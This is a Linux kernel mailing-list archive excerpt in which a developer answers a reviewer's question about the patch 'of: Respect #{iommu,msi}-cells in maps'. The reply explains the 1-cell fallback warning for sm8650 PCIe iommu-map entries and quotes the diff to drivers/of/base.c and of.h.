	LJzS4LlWfD0SSuaiLOSlzWzQJLSMBggJjrdz8nbE6fAJVtRWKqXkY3FzhuuCqS6MXzAQMqoErep
	q9Uz+W92j4xJtg3V7wpCn+hacKpYNkg8LXrv++sHXr18QvxcNSPheQZ7k6GRN0LdpGKcRtIJOCa
	e+HTd/m2+WWcJheIXE+5dB7vQf3r0Zgaf/tBc
X-Received: by 2002:a05:6a20:6a15:b0:3c4:1708:9cd8 with SMTP id adf61e73a8af0-3c8ba6862bbmr1003935637.76.1785211669589;
        Mon, 27 Jul 2026 21:07:49 -0700 (PDT)
X-Received: by 2002:a05:6a20:6a15:b0:3c4:1708:9cd8 with SMTP id adf61e73a8af0-3c8ba6862bbmr1003878637.76.1785211668977;
        Mon, 27 Jul 2026 21:07:48 -0700 (PDT)
Message-ID: <0d0896af-a4a5-445d-8db7-fdb9eecd07a2@oss.qualcomm.com>
Date: Tue, 28 Jul 2026 09:35:58 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v16 3/3] of: Respect #{iommu,msi}-cells in maps
To: Neil Armstrong <neil.armstrong@linaro.org>,
        Nipun Gupta <nipun.gupta@amd.com>,
        Nikhil Agarwal <nikhil.agarwal@amd.com>,
        Joerg Roedel <joro@8bytes.org>, Will Deacon <will@kernel.org>,
        Robin Murphy <robin.murphy@arm.com>,
        Lorenzo Pieralisi <lpieralisi@kernel.org>,
        Marc Zyngier <maz@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
        Rob Herring <robh@kernel.org>, Saravana Kannan <saravanak@kernel.org>,
        Richard Zhu <hongxing.zhu@nxp.com>,
        Lucas Stach <l.stach@pengutronix.de>,
        =?UTF-8?Q?Krzysztof_Wilczy=C5=84ski?= <kwilczynski@kernel.org>,
        Manivannan Sadhasivam <mani@kernel.org>,
        Bjorn Helgaas
 <bhelgaas@google.com>, Frank Li <Frank.Li@nxp.com>,
        Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: linux-arm-msm@vger.kernel.org, linux-kernel@vger.kernel.org,
        iommu@lists.linux.dev, linux-arm-kernel@lists.infradead.org,
        devicetree@vger.kernel.org, linux-pci@vger.kernel.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
References: <20260603-parse_iommu_cells-v16-0-dc509dacb19a@oss.qualcomm.com>
 <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
 <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
Content-Language: en-US
From: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
In-Reply-To: <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDAzNCBTYWx0ZWRfX0ApkeaphKhvE
 EjF8Wf7fIVWLeeYup5ePMbxw/o90pGEiSr22qMVGeHIg8021lugFhc+YfdP0Na7qSXI+8cGjXgp
 Yie9f3XENm9jmJyOOJ5Bm8M0yQPE9YQ=
X-Proofpoint-GUID: 57cetw_og1f5EyatxirDXgtbp1N6Fggk
X-Proofpoint-ORIG-GUID: 57cetw_og1f5EyatxirDXgtbp1N6Fggk
X-Authority-Analysis: v=2.4 cv=KLJqylFo c=1 sm=1 tr=0 ts=6a682b16 cx=c_pps
 a=vVfyC5vLCtgYJKYeQD43oA==:117 a=squdMJ+4YbgyfOnWmi5+Dg==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=YMgV9FUhrdKAYTUUvYB2:22
 a=7CQSdrXTAAAA:8 a=EUspDBNiAAAA:8 a=q5R4RTgJWa76_yJtbd4A:9
 a=8pEowBHnLtz2IKIQ:21 a=3ZKOabzyN94A:10 a=QEXdDO2ut3YA:10
 a=rl5im9kqc5Lf4LNbBjHf:22 a=a-qgeE7W1pNrGK8U0ZQC:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDAzNCBTYWx0ZWRfX765VEc1bZyMc
 +dwRfzslHKMUeeq6WeOzZ72j7W4CVCt6B9qK8zlQXwqTWMHRcF3xf+AL79is4phu/DxZ92PFVm/
 3/AXcSmTY/M8GFcBlIpAzD5997mzZ0M0z8bqk4kPc9FFmbRHPx/cueh5i6phaktSHlUuGyPJEIg
 j7RfyFXJqimUbcRNzIpn+IdashXBSB+uG1pmIh/h6FnFRnt4gfW5n81bwXLnJJR9nm69Ab7exp/
 qmFDDKmPeJKors14TEJMelPG0QzAOk96f9g1lhTJzWbvJ/tAQDpqFfiU3Rc9CC0tqONiyKodkJB
 CLoW5t1V6+6iv7RMbk4TbIXhhkdzur9w8esJmOFDvQHqEFGqHSphJazEhfr/z1TGJB3gencXMtX
 La9A6FfO8efGXJSMg/n1tihRwpdk53WHN+HE9XFfMImy7hBAge6pvQ/Wd0tVQLfRFt4GY0nZJjn
 8RhmBBDkZUX1KSupRYg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 priorityscore=1501 suspectscore=0 spamscore=0 impostorscore=0
 lowpriorityscore=0 malwarescore=0 adultscore=0 bulkscore=0 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280034
X-purgate-ID: tlsNG-ef75cf/1785211673-3C817AE4-7F31BFA5/0/0
X-purgate-type: clean
X-purgate-size: 18720



On 7/23/2026 6:47 PM, Neil Armstrong wrote:
> Hi,
> 
> On 6/3/26 09:13, Vijayanand Jitta wrote:
>> From: Robin Murphy <robin.murphy@arm.com>
>>
>> So far our parsing of {iommu,msi}-map properties has always blindly
>> assumed that the output specifiers will always have exactly 1 cell.
>> This typically does happen to be the case, but is not actually enforced
>> (and the PCI msi-map binding even explicitly states support for 0 or 1
>> cells) - as a result we've now ended up with dodgy DTs out in the field
>> which depend on this behaviour to map a 1-cell specifier for a 2-cell
>> provider, despite that being bogus per the bindings themselves.
>>
>> Since there is some potential use in being able to map at least single
>> input IDs to multi-cell output specifiers (and properly support 0-cell
>> outputs as well), add support for properly parsing and using the target
>> nodes' #cells values, albeit with the unfortunate complication of still
>> having to work around expectations of the old behaviour too.
>>
>> Since there are multi-cell output specifiers, the callers of of_map_id()
>> may need to get the exact cell output value for further processing.
>> Update of_map_id() to set args_count in the output to reflect the actual
>> number of output specifier cells.
>>
>> Signed-off-by: Robin Murphy <robin.murphy@arm.com>
>> Signed-off-by: Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
>> Signed-off-by: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
>> ---
>> Â  drivers/of/base.cÂ  | 168 +++++++++++++++++++++++++++++++++++++++++------------
>> Â  include/linux/of.h |Â Â  6 +-
>> Â  2 files changed, 135 insertions(+), 39 deletions(-)
>>
>> diff --git a/drivers/of/base.c b/drivers/of/base.c
>> index d658c2620135..ac7961cbab94 100644
>> --- a/drivers/of/base.c
>> +++ b/drivers/of/base.c
>> @@ -2116,19 +2116,49 @@ int of_find_last_cache_level(unsigned int cpu)
>> Â Â Â Â Â  return cache_level;
>> Â  }
>> Â  +/*
>> + * Some DTs have an iommu-map targeting a 2-cell IOMMU node while
>> + * specifying only 1 cell. Fortunately they all consist of value '1'
>> + * as the 2nd cell entry with the same target, so check for that pattern.
>> + *
>> + * Example:
>> + *Â Â Â  IOMMU node:
>> + *Â Â Â Â Â Â Â  #iommu-cells = <2>;
>> + *
>> + *Â Â Â  Device node:
>> + *Â Â Â Â Â Â Â  iommu-map = <0x0000 &smmu 0x0000 0x1>,
>> + *Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x0100 &smmu 0x0100 0x1>;
> 
> So the sm8650 PCIe controllers has:
> 
> pcie@1c08000:
> Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1480 0x1>,
> Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1481 0x1>;
> 
> and
> 
> pcie@1c00000:
> 
> Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1400 0x1>,
> Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1401 0x1>;
> 
> and apps_smmu has #iommu-cells = <2>, but gets flagged at wrong:
> 
> [Â Â Â  7.538800] OF: /soc@0/pcie@1c08000: iommu-map has 1-cell entries targeting 2-cell #iommu-cells, treating as 1-cell output
> 
> Returning false in of_check_bad_map() triggers:
> 
> [Â Â Â  7.642680] OF: /soc@0/pcie@1c08000: Unsupported iommu-map - cannot handle 256-ID range with 2-cell output specifier
> 
> I don't understand the issue here, we use 2 cells as expected by
> the iommu-cells, so why is it wrong ? can somebody explain in
> comprehensive words ? I'm super confused, it worked like a charm until now.
> 
> Neil
> 

Hi Neil,

iommu-map = <0     &apps_smmu 0x1480 0x1>,
            <0x100 &apps_smmu 0x1481 0x1>;


Entries here are not 2-cell format, Even though apps_smmu declares #iommu-cells = <2>,
this DT only supplies one output cell (0x1480/0x1481) â€” the trailing 0x1 is the length field,
not a second output cell. (<id-base phandle out-base length>)

The new code detects exactly this pattern (same target phandle across all entries, length always 1)
and falls back to treating the map as 1-cell output for backward compatibility â€” hence the pr_warn_once.
It's harmless and expected, your RIDs still resolve to the correct SIDs (0 â†’ 0x1480, 0x100 â†’ 0x1481).

The second message is a different case and shouldn't be coming from this same map â€” once the 1-cell
fallback triggers on the first entry, it applies to the whole map, so you shouldn't hit both warnings
together on the same node. That error only fires for a genuine 2-cell output specifier combined with
an id_len > 1, e.g.:

iommu-map = <0x0 &apps_smmu 0x1480 0x1 0x100>;

(<id-base, phandle, out0, out1, length=256>) â€” which isn't supported, since there's no way to
linearly scale a multi-cell output specifier across a range of IDs.

Are you seeing that second error on the same pcie node, or a different one?
If it's the same node, can you share the exact iommu-map entry that triggers it?


Thanks,
Vijay

>> + */
>> +static bool of_check_bad_map(const __be32 *map, int len)
>> +{
>> +Â Â Â  __be32 phandle = map[1];
>> +
>> +Â Â Â  if (len % 4)
>> +Â Â Â Â Â Â Â  return false;
>> +Â Â Â  for (int i = 0; i < len; i += 4) {
>> +Â Â Â Â Â Â Â  if (map[i + 1] != phandle || map[i + 3] != cpu_to_be32(1))
>> +Â Â Â Â Â Â Â Â Â Â Â  return false;
>> +Â Â Â  }
>> +Â Â Â  return true;
>> +}
>> +
>> Â  /**
>> Â Â  * of_map_id - Translate an ID through a downstream mapping.
>> Â Â  * @np: root complex device node.
>> Â Â  * @id: device ID to map.
>> Â Â  * @map_name: property name of the map to use.
>> + * @cells_name: property name of target specifier cells.
>> Â Â  * @map_mask_name: optional property name of the mask to use.
>> Â Â  * @filter_np: pointer to an optional filter node, or NULL to allow bypass.
>> Â Â  *Â Â Â  If non-NULL, the map property must exist (-ENODEV if absent). If
>> Â Â  *Â Â Â  *filter_np is also non-NULL, only entries targeting that node match.
>> Â Â  * @arg: pointer to a &struct of_phandle_args for the result. On success,
>> - *Â Â Â  @arg->args[0] will contain the translated ID. If a map entry was
>> - *Â Â Â  matched, @arg->np will be set to the target node with a reference
>> - *Â Â Â  held that the caller must release with of_node_put().
>> + *Â Â Â  @arg->args_count will be set to the number of output specifier cells
>> + *Â Â Â  as defined by @cells_name in the target node, and
>> + *Â Â Â  @arg->args[0..args_count-1] will contain the translated output
>> + *Â Â Â  specifier values. If a map entry was matched, @arg->np will be set
>> + *Â Â Â  to the target node with a reference held that the caller must release
>> + *Â Â Â  with of_node_put().
>> Â Â  *
>> Â Â  * Given a device ID, look up the appropriate implementation-defined
>> Â Â  * platform ID and/or the target device which receives transactions on that
>> @@ -2137,19 +2167,21 @@ int of_find_last_cache_level(unsigned int cpu)
>> Â Â  * Return: 0 on success or a standard error code on failure.
>> Â Â  */
>> Â  int of_map_id(const struct device_node *np, u32 id,
>> -Â Â Â Â Â Â Â Â Â Â  const char *map_name, const char *map_mask_name,
>> +Â Â Â Â Â Â Â Â Â Â  const char *map_name, const char *cells_name,
>> +Â Â Â Â Â Â Â Â Â Â  const char *map_mask_name,
>> Â Â Â Â Â Â Â Â Â Â Â Â  struct device_node * const *filter_np, struct of_phandle_args *arg)
>> Â  {
>> Â Â Â Â Â  u32 map_mask, masked_id;
>> -Â Â Â  int map_len;
>> +Â Â Â  int map_bytes, map_len, offset = 0;
>> +Â Â Â  bool bad_map = false;
>> Â Â Â Â Â  const __be32 *map = NULL;
>> Â  -Â Â Â  if (!np || !map_name || !arg)
>> +Â Â Â  if (!np || !map_name || !cells_name || !arg)
>> Â Â Â Â Â Â Â Â Â  return -EINVAL;
>> Â Â Â Â Â  /* Ensure bypass/no-match success never returns a stale target node. */
>> Â Â Â Â Â  arg->np = NULL;
>> Â  -Â Â Â  map = of_get_property(np, map_name, &map_len);
>> +Â Â Â  map = of_get_property(np, map_name, &map_bytes);
>> Â Â Â Â Â  if (!map) {
>> Â Â Â Â Â Â Â Â Â  if (filter_np)
>> Â Â Â Â Â Â Â Â Â Â Â Â Â  return -ENODEV;
>> @@ -2159,11 +2191,9 @@ int of_map_id(const struct device_node *np, u32 id,
>> Â Â Â Â Â Â Â Â Â  return 0;
>> Â Â Â Â Â  }
>> Â  -Â Â Â  if (!map_len || map_len % (4 * sizeof(*map))) {
>> -Â Â Â Â Â Â Â  pr_err("%pOF: Error: Bad %s length: %d\n", np,
>> -Â Â Â Â Â Â Â Â Â Â Â  map_name, map_len);
>> -Â Â Â Â Â Â Â  return -EINVAL;
>> -Â Â Â  }
>> +Â Â Â  if (map_bytes % sizeof(*map))
>> +Â Â Â Â Â Â Â  goto err_map_len;
>> +Â Â Â  map_len = map_bytes / sizeof(*map);
>> Â  Â Â Â Â Â  /* The default is to select all bits. */
>> Â Â Â Â Â  map_mask = 0xffffffff;
>> @@ -2176,39 +2206,93 @@ int of_map_id(const struct device_node *np, u32 id,
>> Â Â Â Â Â Â Â Â Â  of_property_read_u32(np, map_mask_name, &map_mask);
>> Â  Â Â Â Â Â  masked_id = map_mask & id;
>> -Â Â Â  for ( ; map_len > 0; map_len -= 4 * sizeof(*map), map += 4) {
>> +
>> +Â Â Â  while (offset < map_len) {
>> Â Â Â Â Â Â Â Â Â  struct device_node *phandle_node;
>> -Â Â Â Â Â Â Â  u32 id_base = be32_to_cpup(map + 0);
>> -Â Â Â Â Â Â Â  u32 phandle = be32_to_cpup(map + 1);
>> -Â Â Â Â Â Â Â  u32 out_base = be32_to_cpup(map + 2);
>> -Â Â Â Â Â Â Â  u32 id_len = be32_to_cpup(map + 3);
>> +Â Â Â Â Â Â Â  u32 id_base, phandle, id_len, id_off, cells = 0;
>> +Â Â Â Â Â Â Â  const __be32 *out_base;
>> +
>> +Â Â Â Â Â Â Â  if (map_len - offset < 2)
>> +Â Â Â Â Â Â Â Â Â Â Â  goto err_map_len;
>> +
>> +Â Â Â Â Â Â Â  id_base = be32_to_cpup(map + offset);
>> Â  Â Â Â Â Â Â Â Â Â  if (id_base & ~map_mask) {
>> -Â Â Â Â Â Â Â Â Â Â Â  pr_err("%pOF: Invalid %s translation - %s-mask (0x%x) ignores id-base (0x%x)\n",
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  np, map_name, map_name,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  map_mask, id_base);
>> +Â Â Â Â Â Â Â Â Â Â Â  pr_err("%pOF: Invalid %s translation - %s (0x%x) ignores id-base (0x%x)\n",
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  np, map_name, map_mask_name, map_mask, id_base);
>> Â Â Â Â Â Â Â Â Â Â Â Â Â  return -EFAULT;
>> Â Â Â Â Â Â Â Â Â  }
>> Â  -Â Â Â Â Â Â Â  if (masked_id < id_base || masked_id >= id_base + id_len)
>> -Â Â Â Â Â Â Â Â Â Â Â  continue;
>> -
>> +Â Â Â Â Â Â Â  phandle = be32_to_cpup(map + offset + 1);
>> Â Â Â Â Â Â Â Â Â  phandle_node = of_find_node_by_phandle(phandle);
>> Â Â Â Â Â Â Â Â Â  if (!phandle_node)
>> Â Â Â Â Â Â Â Â Â Â Â Â Â  return -ENODEV;
>> Â  +Â Â Â Â Â Â Â  /*
>> +Â Â Â Â Â Â Â Â  * Assume 1-cell output specifier if the target node lacks the
>> +Â Â Â Â Â Â Â Â  * #cells property, for backward compatibility with controllers
>> +Â Â Â Â Â Â Â Â  * that predate the property (e.g. arm,gic-v2m-frame).
>> +Â Â Â Â Â Â Â Â  */
>> +Â Â Â Â Â Â Â  if (bad_map || of_property_read_u32(phandle_node, cells_name, &cells))
>> +Â Â Â Â Â Â Â Â Â Â Â  cells = 1;
>> +
>> +Â Â Â Â Â Â Â  if (cells > MAX_PHANDLE_ARGS) {
>> +Â Â Â Â Â Â Â Â Â Â Â  pr_err("%pOF: %s cell count %d exceeds maximum\n",
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  phandle_node, cells_name, cells);
>> +Â Â Â Â Â Â Â Â Â Â Â  of_node_put(phandle_node);
>> +Â Â Â Â Â Â Â Â Â Â Â  return -EINVAL;
>> +Â Â Â Â Â Â Â  }
>> +
>> +Â Â Â Â Â Â Â  if (offset == 0 && cells == 2) {
>> +Â Â Â Â Â Â Â Â Â Â Â  bad_map = of_check_bad_map(map, map_len);
>> +Â Â Â Â Â Â Â Â Â Â Â  if (bad_map) {
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  pr_warn_once("%pOF: %s has 1-cell entries targeting 2-cell %s, treating as 1-cell output\n",
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  np, map_name, cells_name);
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  cells = 1;
>> +Â Â Â Â Â Â Â Â Â Â Â  }
>> +Â Â Â Â Â Â Â  }
>> +
>> +Â Â Â Â Â Â Â  if (map_len - offset < 3 + cells) {
>> +Â Â Â Â Â Â Â Â Â Â Â  of_node_put(phandle_node);
>> +Â Â Â Â Â Â Â Â Â Â Â  goto err_map_len;
>> +Â Â Â Â Â Â Â  }
>> +
>> +Â Â Â Â Â Â Â  out_base = map + offset + 2;
>> +Â Â Â Â Â Â Â  offset += 3 + cells;
>> +
>> +Â Â Â Â Â Â Â  id_len = be32_to_cpup(map + offset - 1);
>> +Â Â Â Â Â Â Â  id_off = masked_id - id_base;
>> +Â Â Â Â Â Â Â  if (masked_id < id_base || id_off >= id_len) {
>> +Â Â Â Â Â Â Â Â Â Â Â  of_node_put(phandle_node);
>> +Â Â Â Â Â Â Â Â Â Â Â  continue;
>> +Â Â Â Â Â Â Â  }
>> +Â Â Â Â Â Â Â  if (id_len > 1 && cells > 1) {
>> +Â Â Â Â Â Â Â Â Â Â Â  /*
>> +Â Â Â Â Â Â Â Â Â Â Â Â  * With 1 output cell we reasonably assume its value
>> +Â Â Â Â Â Â Â Â Â Â Â Â  * has a linear relationship to the input; with more,
>> +Â Â Â Â Â Â Â Â Â Â Â Â  * we'd need help from the provider to know what to do.
>> +Â Â Â Â Â Â Â Â Â Â Â Â  */
>> +Â Â Â Â Â Â Â Â Â Â Â  pr_err("%pOF: Unsupported %s - cannot handle %d-ID range with %d-cell output specifier\n",
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  np, map_name, id_len, cells);
>> +Â Â Â Â Â Â Â Â Â Â Â  of_node_put(phandle_node);
>> +Â Â Â Â Â Â Â Â Â Â Â  return -EINVAL;
>> +Â Â Â Â Â Â Â  }
>> +
>> Â Â Â Â Â Â Â Â Â  if (filter_np && *filter_np && *filter_np != phandle_node) {
>> Â Â Â Â Â Â Â Â Â Â Â Â Â  of_node_put(phandle_node);
>> Â Â Â Â Â Â Â Â Â Â Â Â Â  continue;
>> Â Â Â Â Â Â Â Â Â  }
>> Â  Â Â Â Â Â Â Â Â Â  arg->np = phandle_node;
>> -Â Â Â Â Â Â Â  arg->args[0] = masked_id - id_base + out_base;
>> -Â Â Â Â Â Â Â  arg->args_count = 1;
>> +Â Â Â Â Â Â Â  for (int i = 0; i < cells; i++)
>> +Â Â Â Â Â Â Â Â Â Â Â  arg->args[i] = id_off + be32_to_cpu(out_base[i]);
>> +Â Â Â Â Â Â Â  arg->args_count = cells;
>> Â  Â Â Â Â Â Â Â Â Â  pr_debug("%pOF: %s, using mask %08x, id-base: %08x, out-base: %08x, length: %08x, id: %08x -> %08x\n",
>> -Â Â Â Â Â Â Â Â Â Â Â  np, map_name, map_mask, id_base, out_base,
>> -Â Â Â Â Â Â Â Â Â Â Â  id_len, id, masked_id - id_base + out_base);
>> +Â Â Â Â Â Â Â Â Â Â Â  np, map_name, map_mask, id_base,
>> +Â Â Â Â Â Â Â Â Â Â Â  cells ? be32_to_cpup(out_base) : 0,
>> +Â Â Â Â Â Â Â Â Â Â Â  id_len, id,
>> +Â Â Â Â Â Â Â Â Â Â Â  cells ? id_off + be32_to_cpup(out_base) : id_off);
>> Â Â Â Â Â Â Â Â Â  return 0;
>> Â Â Â Â Â  }
>> Â  @@ -2219,6 +2303,10 @@ int of_map_id(const struct device_node *np, u32 id,
>> Â Â Â Â Â  arg->args[0] = id;
>> Â Â Â Â Â  arg->args_count = 1;
>> Â Â Â Â Â  return 0;
>> +
>> +err_map_len:
>> +Â Â Â  pr_err("%pOF: Error: Bad %s length: %d\n", np, map_name, map_bytes);
>> +Â Â Â  return -EINVAL;
>> Â  }
>> Â  EXPORT_SYMBOL_GPL(of_map_id);
>> Â  @@ -2228,18 +2316,21 @@ EXPORT_SYMBOL_GPL(of_map_id);
>> Â Â  * @id: Requester ID of the device (e.g. PCI RID/BDF or a platform
>> Â Â  *Â Â Â Â Â  stream/device ID) used as the lookup key in the iommu-map table.
>> Â Â  * @arg: pointer to a &struct of_phandle_args for the result. On success,
>> - *Â Â Â  @arg->args[0] contains the translated ID. If a map entry was matched,
>> - *Â Â Â  @arg->np holds a reference to the target node that the caller must
>> - *Â Â Â  release with of_node_put().
>> + *Â Â Â  @arg->args_count will be set to the number of output specifier cells
>> + *Â Â Â  and @arg->args[0..args_count-1] will contain the translated output
>> + *Â Â Â  specifier values. If a map entry was matched, @arg->np holds a
>> + *Â Â Â  reference to the target node that the caller must release with
>> + *Â Â Â  of_node_put().
>> Â Â  *
>> - * Convenience wrapper around of_map_id() using "iommu-map" and "iommu-map-mask".
>> + * Convenience wrapper around of_map_id() using "iommu-map", "#iommu-cells",
>> + * and "iommu-map-mask".
>> Â Â  *
>> Â Â  * Return: 0 on success or a standard error code on failure.
>> Â Â  */
>> Â  int of_map_iommu_id(const struct device_node *np, u32 id,
>> Â Â Â Â Â Â Â Â Â Â Â Â Â  struct of_phandle_args *arg)
>> Â  {
>> -Â Â Â  return of_map_id(np, id, "iommu-map", "iommu-map-mask", NULL, arg);
>> +Â Â Â  return of_map_id(np, id, "iommu-map", "#iommu-cells", "iommu-map-mask", NULL, arg);
>> Â  }
>> Â  EXPORT_SYMBOL_GPL(of_map_iommu_id);
>> Â  @@ -2252,17 +2343,20 @@ EXPORT_SYMBOL_GPL(of_map_iommu_id);
>> Â Â  *Â Â Â  If non-NULL, the map property must exist (-ENODEV if absent). If
>> Â Â  *Â Â Â  *filter_np is also non-NULL, only entries targeting that node match.
>> Â Â  * @arg: pointer to a &struct of_phandle_args for the result. On success,
>> - *Â Â Â  @arg->args[0] contains the translated ID. If a map entry was matched,
>> - *Â Â Â  @arg->np holds a reference to the target node that the caller must
>> - *Â Â Â  release with of_node_put().
>> + *Â Â Â  @arg->args_count will be set to the number of output specifier cells
>> + *Â Â Â  and @arg->args[0..args_count-1] will contain the translated output
>> + *Â Â Â  specifier values. If a map entry was matched, @arg->np holds a
>> + *Â Â Â  reference to the target node that the caller must release with
>> + *Â Â Â  of_node_put().
>> Â Â  *
>> - * Convenience wrapper around of_map_id() using "msi-map" and "msi-map-mask".
>> + * Convenience wrapper around of_map_id() using "msi-map", "#msi-cells",
>> + * and "msi-map-mask".
>> Â Â  *
>> Â Â  * Return: 0 on success or a standard error code on failure.
>> Â Â  */
>> Â  int of_map_msi_id(const struct device_node *np, u32 id,
>> Â Â Â Â Â Â Â Â Â Â Â  struct device_node * const *filter_np, struct of_phandle_args *arg)
>> Â  {
>> -Â Â Â  return of_map_id(np, id, "msi-map", "msi-map-mask", filter_np, arg);
>> +Â Â Â  return of_map_id(np, id, "msi-map", "#msi-cells", "msi-map-mask", filter_np, arg);
>> Â  }
>> Â  EXPORT_SYMBOL_GPL(of_map_msi_id);
>> diff --git a/include/linux/of.h b/include/linux/of.h
>> index ea50b45d9ff7..374b249766a2 100644
>> --- a/include/linux/of.h
>> +++ b/include/linux/of.h
>> @@ -465,7 +465,8 @@ const char *of_prop_next_string(const struct property *prop, const char *cur);
>> Â  bool of_console_check(const struct device_node *dn, char *name, int index);
>> Â  Â  int of_map_id(const struct device_node *np, u32 id,
>> -Â Â Â Â Â Â Â Â Â Â  const char *map_name, const char *map_mask_name,
>> +Â Â Â Â Â Â Â Â Â Â  const char *map_name, const char *cells_name,
>> +Â Â Â Â Â Â Â Â Â Â  const char *map_mask_name,
>> Â Â Â Â Â Â Â Â Â Â Â Â  struct device_node * const *filter_np,
>> Â Â Â Â Â Â Â Â Â Â Â Â  struct of_phandle_args *arg);
>> Â  @@ -950,7 +951,8 @@ static inline void of_property_clear_flag(struct property *p, unsigned long flag
>> Â  }
>> Â  Â  static inline int of_map_id(const struct device_node *np, u32 id,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  const char *map_name, const char *map_mask_name,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  const char *map_name, const char *cells_name,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  const char *map_mask_name,
>> Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct device_node * const *filter_np,
>> Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct of_phandle_args *arg)
>> Â  {
>>
> 



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 05:07:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 05:07:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372050.1619454 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1r-0000px-Tn; Tue, 28 Jul 2026 05:06:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372050.1619454; Tue, 28 Jul 2026 05:06:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1r-0000nI-Px; Tue, 28 Jul 2026 05:06:59 +0000
Received: by outflank-mailman (input) for mailman id 1372050;
 Tue, 28 Jul 2026 05:06:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1woa1q-0000Z7-Gn
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 05:06:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woa1p-00Fj7M-Tk
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:06:57 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ed-bab6-0a2a0a5309dd-0a2a4504d6a2-20
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:57 +0200
Received: from [52.101.125.79]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ea-b57f-0a2a45040019-34657d4f8021-5
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:57 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY1P286MB3277.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:2e5::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 05:06:53 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Tue, 28 Jul 2026
 05:06:53 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
